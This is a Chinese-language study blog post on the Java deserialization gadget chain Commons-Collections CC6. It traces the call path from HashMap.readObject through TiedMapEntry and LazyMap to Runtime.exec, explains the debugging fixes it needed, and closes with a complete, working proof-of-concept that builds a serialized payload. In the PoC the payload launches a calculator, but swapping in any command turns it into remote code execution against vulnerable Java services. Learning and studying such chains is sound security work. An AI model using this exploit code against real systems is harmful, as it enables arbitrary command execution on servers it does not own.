java反序列化-CC6
学习第二条CommonsCollections的利用链
TiedMapEntry
前面已经学习了CC1,但是在Java 8u71以后CC1就失效了,因为sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了
而CC6,就算是解决了高版本java的利用问题,先看看这个p神简化版利用链:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
可以看到在LazyMap到exec的利用链是没变的,改变的主要是触发LazyMap#get()的方式,来替代原本CC1中的AnnotationInvocationHandler
而这里给出的类是org.apache.commons.collections.keyvalue.TiedMapEntry,他的getValue方法中调用了get:

而他的hashCode方法就调用了getValue:

那么我们需要做的就是找到能够调用这个hashCode的地方,在ysoserial中,是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key)最后到 TiedMapEntry#hashCode()
而p牛在 java.util.HashMap#readObject 中找到 HashMap#hash()的调⽤:

而这里的hash(key)就调用了key.hashCode():

注意到这里的参数key,只要我们让key的值为TiedMapEntry的对象,那么最后调用的就是TiedMapEntry#hashCode(),如此就去掉了ysoserial最前⾯的两次调⽤,也能构造为完整gadget
构造
首先是LazyMap后的部分不变,这里为了防止在本地调试时就触发命令执行影响调试,所以先设置了一个fakeTransformers,等到序列化时再反射更改:
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
接下来按照TiedMapEntry的构造函数格式来创建对象:
TiedMapEntry tme = new TiedMapEntry(innerMap, "Yuy0ung");
那么接下来就是让前面提到的key值为tme,从而调用TiedMapEntry#hashCode():
Map evilMap = new HashMap();
evilMap.put(tme,"Yuy0ung");
接下来用反射把fakeTransformers改回来:
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
尝试序列化evilmap,发现反序列化时并没有触发命令执行:

调试分析,发现在触发factory.transform()前需要经过一个if判断:

而这里的值为false:

也就是map.containsKey(key)为true,也就是说map里面已经存在一个key为Yuy0ung的对象了,而我自己并没有put这玩意,说明一定是前面的代码调用有这个操作,这里其实是evilMap.put(tme,"Yuy1ung");的原因,我们打印这一步前后的map即可看出来:

那么我们在序列化前将这个新增的key移除即可:
outerMap.remove("Yuy0ung");
值得一题的是,我在一开始并没有使用fakeTransformers这个方法,而是直接使用构造好的transformers,这种方法在运行到evilMap.put(tme,"Yuy1ung");就已经会触发命令执行了,调试一下就可以发现hashMap的put方法同样调用了hash(key),所以会导致后面的调用链触发,从而命令执行:

至此我们得到了完整的poc:
package com.yuy0ung;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "Yuy0ung");
Map evilMap = new HashMap();
evilMap.put(tme,"Yuy1ung");
outerMap.remove("Yuy0ung");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
serialize(evilMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
Object obj = ois.readObject();
return obj;
}
}
尝试运行,成功命令执行触发计算器:

总结
再看一眼完整调用链:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
这个利⽤链可以在Java 7和8的⾼版本触发,没有版本限制

浙公网安备 33010602011771号